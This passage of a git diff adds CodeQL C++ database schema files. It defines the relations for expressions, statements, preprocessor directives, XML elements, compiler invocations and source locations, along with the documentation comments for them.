| @subexpr + | @mulexpr + | @divexpr + | @remexpr + | @jmulexpr + | @jdivexpr + | @fjaddexpr + | @jfaddexpr + | @fjsubexpr + | @jfsubexpr + | @minexpr + | @maxexpr + | @p_arith_op_expr + ; + +@bin_op_expr = @bin_arith_op_expr + | @bin_bitwise_op_expr + | @cmp_op_expr + | @bin_log_op_expr + ; + +@op_expr = @un_op_expr + | @bin_op_expr + | @assign_expr + | @conditionalexpr + ; + +@assign_arith_expr = @assignaddexpr + | @assignsubexpr + | @assignmulexpr + | @assigndivexpr + | @assignremexpr + ; + +@assign_bitwise_expr = @assignandexpr + | @assignorexpr + | @assignxorexpr + | @assignlshiftexpr + | @assignrshiftexpr + ; + +@assign_pointer_expr = @assignpaddexpr + | @assignpsubexpr + ; + +@assign_op_expr = @assign_arith_expr + | @assign_bitwise_expr + | @assign_pointer_expr + ; + +@assign_expr = @assignexpr | @assign_op_expr | @blockassignexpr + +/* + Binary encoding of the allocator form. + + case @allocator.form of + 0 = plain + | 1 = alignment + ; +*/ + +/** + * The allocator function associated with a `new` or `new[]` expression. + * The `form` column specified whether the allocation call contains an alignment + * argument. + */ +expr_allocator( + unique int expr: @any_new_expr ref, + int func: @function ref, + int form: int ref +); + +/* + Binary encoding of the deallocator form. + + case @deallocator.form of + 0 = plain + | 1 = size + | 2 = alignment + | 4 = destroying_delete + ; +*/ + +/** + * The deallocator function associated with a `delete`, `delete[]`, `new`, or + * `new[]` expression. For a `new` or `new[]` expression, the deallocator is the + * one used to free memory if the initialization throws an exception. + * The `form` column specifies whether the deallocation call contains a size + * argument, and alignment argument, or both. + */ +expr_deallocator( + unique int expr: @new_or_delete_expr ref, + int func: @function ref, + int form: int ref +); + +/** + * Holds if the `@conditionalexpr` is of the two operand form + * `guard ? : false`. + */ +expr_cond_two_operand( + unique int cond: @conditionalexpr ref +); + +/** + * The guard of `@conditionalexpr` `guard ? true : false` + */ +expr_cond_guard( + unique int cond: @conditionalexpr ref, + int guard: @expr ref +); + +/** + * The expression used when the guard of `@conditionalexpr` + * `guard ? true : false` holds. For the two operand form + * `guard ?: false` consider using `expr_cond_guard` instead. + */ +expr_cond_true( + unique int cond: @conditionalexpr ref, + int true: @expr ref +); + +/** + * The expression used when the guard of `@conditionalexpr` + * `guard ? true : false` does not hold. + */ +expr_cond_false( + unique int cond: @conditionalexpr ref, + int false: @expr ref +); + +/** A string representation of the value. */ +values( + unique int id: @value, + string str: string ref +); + +/** The actual text in the source code for the value, if any. */ +valuetext( + unique int id: @value ref, + string text: string ref +); + +valuebind( + int val: @value ref, + unique int expr: @expr ref +); + +fieldoffsets( + unique int id: @variable ref, + int byteoffset: int ref, + int bitoffset: int ref +); + +bitfield( + unique int id: @variable ref, + int bits: int ref, + int declared_bits: int ref +); + +/* TODO +memberprefix( + int member: @expr ref, + int prefix: @expr ref +); +*/ + +/* + kind(1) = mbrcallexpr + kind(2) = mbrptrcallexpr + kind(3) = mbrptrmbrcallexpr + kind(4) = ptrmbrptrmbrcallexpr + kind(5) = mbrreadexpr // x.y + kind(6) = mbrptrreadexpr // p->y + kind(7) = mbrptrmbrreadexpr // x.*pm + kind(8) = mbrptrmbrptrreadexpr // x->*pm + kind(9) = staticmbrreadexpr // static x.y + kind(10) = staticmbrptrreadexpr // static p->y +*/ +/* TODO +memberaccess( + int member: @expr ref, + int kind: int ref +); +*/ + +initialisers( + unique int init: @initialiser, + int var: @accessible ref, + unique int expr: @expr ref, + int location: @location_expr ref +); + +braced_initialisers( + int init: @initialiser ref +); + +/** + * An ancestor for the expression, for cases in which we cannot + * otherwise find the expression's parent. + */ +expr_ancestor( + int exp: @expr ref, + int ancestor: @element ref +); + +exprs( + unique int id: @expr, + int kind: int ref, + int location: @location_expr ref +); + +expr_reuse( + int reuse: @expr ref, + int original: @expr ref, + int value_category: int ref +) + +/* + case @value.category of + 1 = prval + | 2 = xval + | 3 = lval + ; +*/ +expr_types( + int id: @expr ref, + int typeid: @type ref, + int value_category: int ref +); + +case @expr.kind of + 1 = @errorexpr +| 2 = @address_of // & AddressOfExpr +| 3 = @reference_to // ReferenceToExpr (implicit?) +| 4 = @indirect // * PointerDereferenceExpr +| 5 = @ref_indirect // ReferenceDereferenceExpr (implicit?) +// ... +| 8 = @array_to_pointer // (???) +| 9 = @vacuous_destructor_call // VacuousDestructorCall +// ... +| 11 = @assume // Microsoft +| 12 = @parexpr +| 13 = @arithnegexpr +| 14 = @unaryplusexpr +| 15 = @complementexpr +| 16 = @notexpr +| 17 = @conjugation // GNU ~ operator +| 18 = @realpartexpr // GNU __real +| 19 = @imagpartexpr // GNU __imag +| 20 = @postincrexpr +| 21 = @postdecrexpr +| 22 = @preincrexpr +| 23 = @predecrexpr +| 24 = @conditionalexpr +| 25 = @addexpr +| 26 = @subexpr +| 27 = @mulexpr +| 28 = @divexpr +| 29 = @remexpr +| 30 = @jmulexpr // C99 mul imaginary +| 31 = @jdivexpr // C99 div imaginary +| 32 = @fjaddexpr // C99 add real + imaginary +| 33 = @jfaddexpr // C99 add imaginary + real +| 34 = @fjsubexpr // C99 sub real - imaginary +| 35 = @jfsubexpr // C99 sub imaginary - real +| 36 = @paddexpr // pointer add (pointer + int or int + pointer) +| 37 = @psubexpr // pointer sub (pointer - integer) +| 38 = @pdiffexpr // difference between two pointers +| 39 = @lshiftexpr +| 40 = @rshiftexpr +| 41 = @andexpr +| 42 = @orexpr +| 43 = @xorexpr +| 44 = @eqexpr +| 45 = @neexpr +| 46 = @gtexpr +| 47 = @ltexpr +| 48 = @geexpr +| 49 = @leexpr +| 50 = @minexpr // GNU minimum +| 51 = @maxexpr // GNU maximum +| 52 = @assignexpr +| 53 = @assignaddexpr +| 54 = @assignsubexpr +| 55 = @assignmulexpr +| 56 = @assigndivexpr +| 57 = @assignremexpr +| 58 = @assignlshiftexpr +| 59 = @assignrshiftexpr +| 60 = @assignandexpr +| 61 = @assignorexpr +| 62 = @assignxorexpr +| 63 = @assignpaddexpr // assign pointer add +| 64 = @assignpsubexpr // assign pointer sub +| 65 = @andlogicalexpr +| 66 = @orlogicalexpr +| 67 = @commaexpr +| 68 = @subscriptexpr // access to member of an array, e.g., a[5] +// ... 69 @objc_subscriptexpr deprecated +// ... 70 @cmdaccess deprecated +// ... +| 73 = @virtfunptrexpr +| 74 = @callexpr +// ... 75 @msgexpr_normal deprecated +// ... 76 @msgexpr_super deprecated +// ... 77 @atselectorexpr deprecated +// ... 78 @atprotocolexpr deprecated +| 79 = @vastartexpr +| 80 = @vaargexpr +| 81 = @vaendexpr +| 82 = @vacopyexpr +// ... 83 @atencodeexpr deprecated +| 84 = @varaccess +| 85 = @thisaccess +// ... 86 @objc_box_expr deprecated +| 87 = @new_expr +| 88 = @delete_expr +| 89 = @throw_expr +| 90 = @condition_decl // a variable declared in a condition, e.g., if(int x = y > 2) +| 91 = @braced_init_list +| 92 = @type_id +| 93 = @runtime_sizeof +| 94 = @runtime_alignof +| 95 = @sizeof_pack +| 96 = @expr_stmt // GNU extension +| 97 = @routineexpr +| 98 = @type_operand // used to access a type in certain contexts (haven't found any examples yet....) +| 99 = @offsetofexpr // offsetof ::= type and field +| 100 = @hasassignexpr // __has_assign ::= type +| 101 = @hascopyexpr // __has_copy ::= type +| 102 = @hasnothrowassign // __has_nothrow_assign ::= type +| 103 = @hasnothrowconstr // __has_nothrow_constructor ::= type +| 104 = @hasnothrowcopy // __has_nothrow_copy ::= type +| 105 = @hastrivialassign // __has_trivial_assign ::= type +| 106 = @hastrivialconstr // __has_trivial_constructor ::= type +| 107 = @hastrivialcopy // __has_trivial_copy ::= type +| 108 = @hasuserdestr // __has_user_destructor ::= type +| 109 = @hasvirtualdestr // __has_virtual_destructor ::= type +| 110 = @isabstractexpr // __is_abstract ::= type +| 111 = @isbaseofexpr // __is_base_of ::= type type +| 112 = @isclassexpr // __is_class ::= type +| 113 = @isconvtoexpr // __is_convertible_to ::= type type +| 114 = @isemptyexpr // __is_empty ::= type +| 115 = @isenumexpr // __is_enum ::= type +| 116 = @ispodexpr // __is_pod ::= type +| 117 = @ispolyexpr // __is_polymorphic ::= type +| 118 = @isunionexpr // __is_union ::= type +| 119 = @typescompexpr // GNU __builtin_types_compatible ::= type type +| 120 = @intaddrexpr // frontend internal builtin, used to implement offsetof +// ... +| 122 = @hastrivialdestructor // __has_trivial_destructor ::= type +| 123 = @literal +| 124 = @uuidof +| 127 = @aggregateliteral +| 128 = @delete_array_expr +| 129 = @new_array_expr +// ... 130 @objc_array_literal deprecated +// ... 131 @objc_dictionary_literal deprecated +| 132 = @foldexpr +// ... +| 200 = @ctordirectinit +| 201 = @ctorvirtualinit +| 202 = @ctorfieldinit +| 203 = @ctordelegatinginit +| 204 = @dtordirectdestruct +| 205 = @dtorvirtualdestruct +| 206 = @dtorfielddestruct +// ... +| 210 = @static_cast +| 211 = @reinterpret_cast +| 212 = @const_cast +| 213 = @dynamic_cast +| 214 = @c_style_cast +| 215 = @lambdaexpr +| 216 = @param_ref +| 217 = @noopexpr +// ... +| 294 = @istriviallyconstructibleexpr +| 295 = @isdestructibleexpr +| 296 = @isnothrowdestructibleexpr +| 297 = @istriviallydestructibleexpr +| 298 = @istriviallyassignableexpr +| 299 = @isnothrowassignableexpr +| 300 = @istrivialexpr +| 301 = @isstandardlayoutexpr +| 302 = @istriviallycopyableexpr +| 303 = @isliteraltypeexpr +| 304 = @hastrivialmoveconstructorexpr +| 305 = @hastrivialmoveassignexpr +| 306 = @hasnothrowmoveassignexpr +| 307 = @isconstructibleexpr +| 308 = @isnothrowconstructibleexpr +| 309 = @hasfinalizerexpr +| 310 = @isdelegateexpr +| 311 = @isinterfaceclassexpr +| 312 = @isrefarrayexpr +| 313 = @isrefclassexpr +| 314 = @issealedexpr +| 315 = @issimplevalueclassexpr +| 316 = @isvalueclassexpr +| 317 = @isfinalexpr +| 319 = @noexceptexpr +| 320 = @builtinshufflevector +| 321 = @builtinchooseexpr +| 322 = @builtinaddressof +| 323 = @vec_fill +| 324 = @builtinconvertvector +| 325 = @builtincomplex +| 326 = @spaceshipexpr +| 327 = @co_await +| 328 = @co_yield +| 329 = @temp_init +| 330 = @isassignable +| 331 = @isaggregate +| 332 = @hasuniqueobjectrepresentations +| 333 = @builtinbitcast +| 334 = @builtinshuffle +| 335 = @blockassignexpr +| 336 = @issame +| 337 = @isfunction +| 338 = @islayoutcompatible +| 339 = @ispointerinterconvertiblebaseof +| 340 = @isarray +| 341 = @arrayrank +| 342 = @arrayextent +| 343 = @isarithmetic +| 344 = @iscompletetype +| 345 = @iscompound +| 346 = @isconst +| 347 = @isfloatingpoint +| 348 = @isfundamental +| 349 = @isintegral +| 350 = @islvaluereference +| 351 = @ismemberfunctionpointer +| 352 = @ismemberobjectpointer +| 353 = @ismemberpointer +| 354 = @isobject +| 355 = @ispointer +| 356 = @isreference +| 357 = @isrvaluereference +| 358 = @isscalar +| 359 = @issigned +| 360 = @isunsigned +| 361 = @isvoid +| 362 = @isvolatile +| 363 = @reuseexpr +| 364 = @istriviallycopyassignable +| 365 = @isassignablenopreconditioncheck +| 366 = @referencebindstotemporary +| 367 = @issameas +| 368 = @builtinhasattribute +| 369 = @ispointerinterconvertiblewithclass +| 370 = @builtinispointerinterconvertiblewithclass +| 371 = @iscorrespondingmember +| 372 = @builtiniscorrespondingmember +| 373 = @isboundedarray +| 374 = @isunboundedarray +| 375 = @isreferenceable +| 378 = @isnothrowconvertible +| 379 = @referenceconstructsfromtemporary +| 380 = @referenceconvertsfromtemporary +| 381 = @isconvertible +| 382 = @isvalidwinrttype +| 383 = @iswinclass +| 384 = @iswininterface +| 385 = @istriviallyequalitycomparable +| 386 = @isscopedenum +| 387 = @istriviallyrelocatable +| 388 = @datasizeof +| 389 = @c11_generic +| 390 = @requires_expr +| 391 = @nested_requirement +| 392 = @compound_requirement +| 393 = @concept_id +; + +@var_args_expr = @vastartexpr + | @vaendexpr + | @vaargexpr + | @vacopyexpr + ; + +@builtin_op = @var_args_expr + | @noopexpr + | @offsetofexpr + | @intaddrexpr + | @hasassignexpr + | @hascopyexpr + | @hasnothrowassign + | @hasnothrowconstr + | @hasnothrowcopy + | @hastrivialassign + | @hastrivialconstr + | @hastrivialcopy + | @hastrivialdestructor + | @hasuserdestr + | @hasvirtualdestr + | @isabstractexpr + | @isbaseofexpr + | @isclassexpr + | @isconvtoexpr + | @isemptyexpr + | @isenumexpr + | @ispodexpr + | @ispolyexpr + | @isunionexpr + | @typescompexpr + | @builtinshufflevector + | @builtinconvertvector + | @builtinaddressof + | @istriviallyconstructibleexpr + | @isdestructibleexpr + | @isnothrowdestructibleexpr + | @istriviallydestructibleexpr + | @istriviallyassignableexpr + | @isnothrowassignableexpr + | @istrivialexpr + | @isstandardlayoutexpr + | @istriviallycopyableexpr + | @isliteraltypeexpr + | @hastrivialmoveconstructorexpr + | @hastrivialmoveassignexpr + | @hasnothrowmoveassignexpr + | @isconstructibleexpr + | @isnothrowconstructibleexpr + | @hasfinalizerexpr + | @isdelegateexpr + | @isinterfaceclassexpr + | @isrefarrayexpr + | @isrefclassexpr + | @issealedexpr + | @issimplevalueclassexpr + | @isvalueclassexpr + | @isfinalexpr + | @builtinchooseexpr + | @builtincomplex + | @isassignable + | @isaggregate + | @hasuniqueobjectrepresentations + | @builtinbitcast + | @builtinshuffle + | @issame + | @isfunction + | @islayoutcompatible + | @ispointerinterconvertiblebaseof + | @isarray + | @arrayrank + | @arrayextent + | @isarithmetic + | @iscompletetype + | @iscompound + | @isconst + | @isfloatingpoint + | @isfundamental + | @isintegral + | @islvaluereference + | @ismemberfunctionpointer + | @ismemberobjectpointer + | @ismemberpointer + | @isobject + | @ispointer + | @isreference + | @isrvaluereference + | @isscalar + | @issigned + | @isunsigned + | @isvoid + | @isvolatile + | @istriviallycopyassignable + | @isassignablenopreconditioncheck + | @referencebindstotemporary + | @issameas + | @builtinhasattribute + | @ispointerinterconvertiblewithclass + | @builtinispointerinterconvertiblewithclass + | @iscorrespondingmember + | @builtiniscorrespondingmember + | @isboundedarray + | @isunboundedarray + | @isreferenceable + | @isnothrowconvertible + | @referenceconstructsfromtemporary + | @referenceconvertsfromtemporary + | @isconvertible + | @isvalidwinrttype + | @iswinclass + | @iswininterface + | @istriviallyequalitycomparable + | @isscopedenum + | @istriviallyrelocatable + ; + +compound_requirement_is_noexcept( + int expr: @compound_requirement ref +); + +new_allocated_type( + unique int expr: @new_expr ref, + int type_id: @type ref +); + +new_array_allocated_type( + unique int expr: @new_array_expr ref, + int type_id: @type ref +); + +/** + * The field being initialized by an initializer expression within an aggregate + * initializer for a class/struct/union. Position is used to sort repeated initializers. + */ +#keyset[aggregate, position] +aggregate_field_init( + int aggregate: @aggregateliteral ref, + int initializer: @expr ref, + int field: @membervariable ref, + int position: int ref, + boolean is_designated: boolean ref +); + +/** + * The index of the element being initialized by an initializer expression + * within an aggregate initializer for an array. Position is used to sort repeated initializers. + */ +#keyset[aggregate, position] +aggregate_array_init( + int aggregate: @aggregateliteral ref, + int initializer: @expr ref, + int element_index: int ref, + int position: int ref, + boolean is_designated: boolean ref +); + +@ctorinit = @ctordirectinit + | @ctorvirtualinit + | @ctorfieldinit + | @ctordelegatinginit; +@dtordestruct = @dtordirectdestruct + | @dtorvirtualdestruct + | @dtorfielddestruct; + + +condition_decl_bind( + unique int expr: @condition_decl ref, + unique int decl: @declaration ref +); + +typeid_bind( + unique int expr: @type_id ref, + int type_id: @type ref +); + +uuidof_bind( + unique int expr: @uuidof ref, + int type_id: @type ref +); + +@sizeof_or_alignof = @runtime_sizeof | @runtime_alignof | @datasizeof | @sizeof_pack; + +sizeof_bind( + unique int expr: @sizeof_or_alignof ref, + int type_id: @type ref +); + +code_block( + unique int block: @literal ref, + unique int routine: @function ref +); + +lambdas( + unique int expr: @lambdaexpr ref, + string default_capture: string ref, + boolean has_explicit_return_type: boolean ref +); + +lambda_capture( + unique int id: @lambdacapture, + int lambda: @lambdaexpr ref, + int index: int ref, + int field: @membervariable ref, + boolean captured_by_reference: boolean ref, + boolean is_implicit: boolean ref, + int location: @location_default ref +); + +@funbindexpr = @routineexpr + | @new_expr + | @delete_expr + | @delete_array_expr + | @ctordirectinit + | @ctorvirtualinit + | @ctordelegatinginit + | @dtordirectdestruct + | @dtorvirtualdestruct; + +@varbindexpr = @varaccess | @ctorfieldinit | @dtorfielddestruct; +@addressable = @function | @variable ; +@accessible = @addressable | @enumconstant ; + +@access = @varaccess | @routineexpr ; + +fold( + int expr: @foldexpr ref, + string operator: string ref, + boolean is_left_fold: boolean ref +); + +stmts( + unique int id: @stmt, + int kind: int ref, + int location: @location_stmt ref +); + +case @stmt.kind of + 1 = @stmt_expr +| 2 = @stmt_if +| 3 = @stmt_while +| 4 = @stmt_goto +| 5 = @stmt_label +| 6 = @stmt_return +| 7 = @stmt_block +| 8 = @stmt_end_test_while // do { ... } while ( ... ) +| 9 = @stmt_for +| 10 = @stmt_switch_case +| 11 = @stmt_switch +| 13 = @stmt_asm // "asm" statement or the body of an asm function +| 15 = @stmt_try_block +| 16 = @stmt_microsoft_try // Microsoft +| 17 = @stmt_decl +| 18 = @stmt_set_vla_size // C99 +| 19 = @stmt_vla_decl // C99 +| 25 = @stmt_assigned_goto // GNU +| 26 = @stmt_empty +| 27 = @stmt_continue +| 28 = @stmt_break +| 29 = @stmt_range_based_for // C++11 +// ... 30 @stmt_at_autoreleasepool_block deprecated +// ... 31 @stmt_objc_for_in deprecated +// ... 32 @stmt_at_synchronized deprecated +| 33 = @stmt_handler +// ... 34 @stmt_finally_end deprecated +| 35 = @stmt_constexpr_if +| 37 = @stmt_co_return +| 38 = @stmt_consteval_if +| 39 = @stmt_not_consteval_if +; + +type_vla( + int type_id: @type ref, + int decl: @stmt_vla_decl ref +); + +variable_vla( + int var: @variable ref, + int decl: @stmt_vla_decl ref +); + +type_is_vla(unique int type_id: @derivedtype ref) + +if_initialization( + unique int if_stmt: @stmt_if ref, + int init_id: @stmt ref +); + +if_then( + unique int if_stmt: @stmt_if ref, + int then_id: @stmt ref +); + +if_else( + unique int if_stmt: @stmt_if ref, + int else_id: @stmt ref +); + +constexpr_if_initialization( + unique int constexpr_if_stmt: @stmt_constexpr_if ref, + int init_id: @stmt ref +); + +constexpr_if_then( + unique int constexpr_if_stmt: @stmt_constexpr_if ref, + int then_id: @stmt ref +); + +constexpr_if_else( + unique int constexpr_if_stmt: @stmt_constexpr_if ref, + int else_id: @stmt ref +); + +@stmt_consteval_or_not_consteval_if = @stmt_consteval_if | @stmt_not_consteval_if; + +consteval_if_then( + unique int constexpr_if_stmt: @stmt_consteval_or_not_consteval_if ref, + int then_id: @stmt ref +); + +consteval_if_else( + unique int constexpr_if_stmt: @stmt_consteval_or_not_consteval_if ref, + int else_id: @stmt ref +); + +while_body( + unique int while_stmt: @stmt_while ref, + int body_id: @stmt ref +); + +do_body( + unique int do_stmt: @stmt_end_test_while ref, + int body_id: @stmt ref +); + +switch_initialization( + unique int switch_stmt: @stmt_switch ref, + int init_id: @stmt ref +); + +#keyset[switch_stmt, index] +switch_case( + int switch_stmt: @stmt_switch ref, + int index: int ref, + int case_id: @stmt_switch_case ref +); + +switch_body( + unique int switch_stmt: @stmt_switch ref, + int body_id: @stmt ref +); + +@stmt_for_or_range_based_for = @stmt_for + | @stmt_range_based_for; + +for_initialization( + unique int for_stmt: @stmt_for_or_range_based_for ref, + int init_id: @stmt ref +); + +for_condition( + unique int for_stmt: @stmt_for ref, + int condition_id: @expr ref +); + +for_update( + unique int for_stmt: @stmt_for ref, + int update_id: @expr ref +); + +for_body( + unique int for_stmt: @stmt_for ref, + int body_id: @stmt ref +); + +@stmtparent = @stmt | @expr_stmt ; +stmtparents( + unique int id: @stmt ref, + int index: int ref, + int parent: @stmtparent ref +); + +ishandler(unique int block: @stmt_block ref); + +@cfgnode = @stmt | @expr | @function | @initialiser ; + +stmt_decl_bind( + int stmt: @stmt_decl ref, + int num: int ref, + int decl: @declaration ref +); + +stmt_decl_entry_bind( + int stmt: @stmt_decl ref, + int num: int ref, + int decl_entry: @element ref +); + +@parameterized_element = @function | @stmt_block | @requires_expr; + +blockscope( + unique int block: @stmt_block ref, + int enclosing: @parameterized_element ref +); + +@jump = @stmt_goto | @stmt_break | @stmt_continue; + +@jumporlabel = @jump | @stmt_label | @literal; + +jumpinfo( + unique int id: @jumporlabel ref, + string str: string ref, + int target: @stmt ref +); + +preprocdirects( + unique int id: @preprocdirect, + int kind: int ref, + int location: @location_default ref +); +case @preprocdirect.kind of + 0 = @ppd_if +| 1 = @ppd_ifdef +| 2 = @ppd_ifndef +| 3 = @ppd_elif +| 4 = @ppd_else +| 5 = @ppd_endif +| 6 = @ppd_plain_include +| 7 = @ppd_define +| 8 = @ppd_undef +| 9 = @ppd_line +| 10 = @ppd_error +| 11 = @ppd_pragma +| 12 = @ppd_objc_import +| 13 = @ppd_include_next +| 14 = @ppd_ms_import +| 15 = @ppd_elifdef +| 16 = @ppd_elifndef +| 18 = @ppd_warning +; + +@ppd_include = @ppd_plain_include | @ppd_objc_import | @ppd_include_next | @ppd_ms_import; + +@ppd_branch = @ppd_if | @ppd_ifdef | @ppd_ifndef | @ppd_elif | @ppd_elifdef | @ppd_elifndef; + +preprocpair( + int begin : @ppd_branch ref, + int elseelifend : @preprocdirect ref +); + +preproctrue(int branch : @ppd_branch ref); +preprocfalse(int branch : @ppd_branch ref); + +preproctext( + unique int id: @preprocdirect ref, + string head: string ref, + string body: string ref +); + +includes( + unique int id: @ppd_include ref, + int included: @file ref +); + +link_targets( + int id: @link_target, + int binary: @file ref +); + +link_parent( + int element : @element ref, + int link_target : @link_target ref +); + +/* XML Files */ + +xmlEncoding(unique int id: @file ref, string encoding: string ref); + +xmlDTDs( + unique int id: @xmldtd, + string root: string ref, + string publicId: string ref, + string systemId: string ref, + int fileid: @file ref +); + +xmlElements( + unique int id: @xmlelement, + string name: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int fileid: @file ref +); + +xmlAttrs( + unique int id: @xmlattribute, + int elementid: @xmlelement ref, + string name: string ref, + string value: string ref, + int idx: int ref, + int fileid: @file ref +); + +xmlNs( + int id: @xmlnamespace, + string prefixName: string ref, + string URI: string ref, + int fileid: @file ref +); + +xmlHasNs( + int elementId: @xmlnamespaceable ref, + int nsId: @xmlnamespace ref, + int fileid: @file ref +); + +xmlComments( + unique int id: @xmlcomment, + string text: string ref, + int parentid: @xmlparent ref, + int fileid: @file ref +); + +xmlChars( + unique int id: @xmlcharacters, + string text: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int isCDATA: int ref, + int fileid: @file ref +); + +@xmlparent = @file | @xmlelement; +@xmlnamespaceable = @xmlelement | @xmlattribute; + +xmllocations( + int xmlElement: @xmllocatable ref, + int location: @location_default ref +); + +@xmllocatable = @xmlcharacters + | @xmlelement + | @xmlcomment + | @xmlattribute + | @xmldtd + | @file + | @xmlnamespace; diff --git a/cpp/downgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/semmlecode.cpp.dbscheme b/cpp/downgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/semmlecode.cpp.dbscheme new file mode 100644 index 00000000000..9a7c3c14c10 --- /dev/null +++ b/cpp/downgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/semmlecode.cpp.dbscheme @@ -0,0 +1,2491 @@ + +/** + * An invocation of the compiler. Note that more than one file may be + * compiled per invocation. For example, this command compiles three + * source files: + * + * gcc -c f1.c f2.c f3.c + * + * The `id` simply identifies the invocation, while `cwd` is the working + * directory from which the compiler was invoked. + */ +compilations( + /** + * An invocation of the compiler. Note that more than one file may + * be compiled per invocation. For example, this command compiles + * three source files: + * + * gcc -c f1.c f2.c f3.c + */ + unique int id : @compilation, + string cwd : string ref +); + +/** + * The arguments that were passed to the extractor for a compiler + * invocation. If `id` is for the compiler invocation + * + * gcc -c f1.c f2.c f3.c + * + * then typically there will be rows for + * + * num | arg + * --- | --- + * 0 | *path to extractor* + * 1 | `--mimic` + * 2 | `/usr/bin/gcc` + * 3 | `-c` + * 4 | f1.c + * 5 | f2.c + * 6 | f3.c + */ +#keyset[id, num] +compilation_args( + int id : @compilation ref, + int num : int ref, + string arg : string ref +); + +/** + * Optionally, record the build mode for each compilation. + */ +compilation_build_mode( + unique int id : @compilation ref, + int mode : int ref +); + +/* +case @compilation_build_mode.mode of + 0 = @build_mode_none +| 1 = @build_mode_manual +| 2 = @build_mode_auto +; +*/ + +/** + * The source files that are compiled by a compiler invocation. + * If `id` is for the compiler invocation + * + * gcc -c f1.c f2.c f3.c + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | f1.c + * 1 | f2.c + * 2 | f3.c + * + * Note that even if those files `#include` headers, those headers + * do not appear as rows. + */ +#keyset[id, num] +compilation_compiling_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The time taken by the extractor for a compiler invocation. + * + * For each file `num`, there will be rows for + * + * kind | seconds + * ---- | --- + * 1 | CPU seconds used by the extractor frontend + * 2 | Elapsed seconds during the extractor frontend + * 3 | CPU seconds used by the extractor backend + * 4 | Elapsed seconds during the extractor backend + */ +#keyset[id, num, kind] +compilation_time( + int id : @compilation ref, + int num : int ref, + /* kind: + 1 = frontend_cpu_seconds + 2 = frontend_elapsed_seconds + 3 = extractor_cpu_seconds + 4 = extractor_elapsed_seconds + */ + int kind : int ref, + float seconds : float ref +); + +/** + * An error or warning generated by the extractor. + * The diagnostic message `diagnostic` was generated during compiler + * invocation `compilation`, and is the `file_number_diagnostic_number`th + * message generated while extracting the `file_number`th file of that + * invocation. + */ +#keyset[compilation, file_number, file_number_diagnostic_number] +diagnostic_for( + int diagnostic : @diagnostic ref, + int compilation : @compilation ref, + int file_number : int ref, + int file_number_diagnostic_number : int ref +); + +/** + * If extraction was successful, then `cpu_seconds` and + * `elapsed_seconds` are the CPU time and elapsed time (respectively) + * that extraction took for compiler invocation `id`. + */ +compilation_finished( + unique int id : @compilation ref, + float cpu_seconds : float ref, + float elapsed_seconds : float ref +); + + +/** + * External data, loaded from CSV files during snapshot creation. See + * [Tutorial: Incorporating external data](https://help.semmle.com/wiki/display/SD/Tutorial%3A+Incorporating+external+data) + * for more information. + */ +externalData( + int id : @externalDataElement, + string path : string ref, + int column: int ref, + string value : string ref +); + +/** + * The source location of the snapshot. + */ +sourceLocationPrefix(string prefix : string ref); + +/** + * Information about packages that provide code used during compilation. + * The `id` is just a unique identifier. + * The `namespace` is typically the name of the package manager that + * provided the package (e.g. "dpkg" or "yum"). + * The `package_name` is the name of the package, and `version` is its + * version (as a string). + */ +external_packages( + unique int id: @external_package, + string namespace : string ref, + string package_name : string ref, + string version : string ref +); + +/** + * Holds if File `fileid` was provided by package `package`. + */ +header_to_external_package( + int fileid : @file ref, + int package : @external_package ref +); + +/* + * Version history + */ + +svnentries( + unique int id : @svnentry, + string revision : string ref, + string author : string ref, + date revisionDate : date ref, + int changeSize : int ref +) + +svnaffectedfiles( + int id : @svnentry ref, + int file : @file ref, + string action : string ref +) + +svnentrymsg( + unique int id : @svnentry ref, + string message : string ref +) + +svnchurn( + int commit : @svnentry ref, + int file : @file ref, + int addedLines : int ref, + int deletedLines : int ref +) + +/* + * C++ dbscheme + */ + +extractor_version( + string codeql_version: string ref, + string frontend_version: string ref +) + +@location = @location_stmt | @location_expr | @location_default ; + +/** + * The location of an element that is not an expression or a statement. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `file`. + * For more information, see + * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/). + */ +locations_default( + /** The location of an element that is not an expression or a statement. */ + unique int id: @location_default, + int container: @container ref, + int startLine: int ref, + int startColumn: int ref, + int endLine: int ref, + int endColumn: int ref +); + +/** + * The location of a statement. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `file`. + * For more information, see + * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/). + */ +locations_stmt( + /** The location of a statement. */ + unique int id: @location_stmt, + int container: @container ref, + int startLine: int ref, + int startColumn: int ref, + int endLine: int ref, + int endColumn: int ref +); + +/** + * The location of an expression. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `file`. + * For more information, see + * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/). + */ +locations_expr( + /** The location of an expression. */ + unique int id: @location_expr, + int container: @container ref, + int startLine: int ref, + int startColumn: int ref, + int endLine: int ref, + int endColumn: int ref +); + +/** An element for which line-count information is available. */ +@sourceline = @file | @function | @variable | @enumconstant | @xmllocatable; + +numlines( + int element_id: @sourceline ref, + int num_lines: int ref, + int num_code: int ref, + int num_comment: int ref +); + +diagnostics( + unique int id: @diagnostic, + int severity: int ref, + string error_tag: string ref, + string error_message: string ref, + string full_error_message: string ref, + int location: @location_default ref +); + +files( + unique int id: @file, + string name: string ref +); + +folders( + unique int id: @folder, + string name: string ref +); + +@container = @folder | @file + +containerparent( + int parent: @container ref, + unique int child: @container ref +); + +fileannotations( + int id: @file ref, + int kind: int ref, + string name: string ref, + string value: string ref +); + +inmacroexpansion( + int id: @element ref, + int inv: @macroinvocation ref +); + +affectedbymacroexpansion( + int id: @element ref, + int inv: @macroinvocation ref +); + +case @macroinvocation.kind of + 1 = @macro_expansion +| 2 = @other_macro_reference +; + +macroinvocations( + unique int id: @macroinvocation, + int macro_id: @ppd_define ref, + int location: @location_default ref, + int kind: int ref +); + +macroparent( + unique int id: @macroinvocation ref, + int parent_id: @macroinvocation ref +); + +// a macroinvocation may be part of another location +// the way to find a constant expression that uses a macro +// is thus to find a constant expression that has a location +// to which a macro 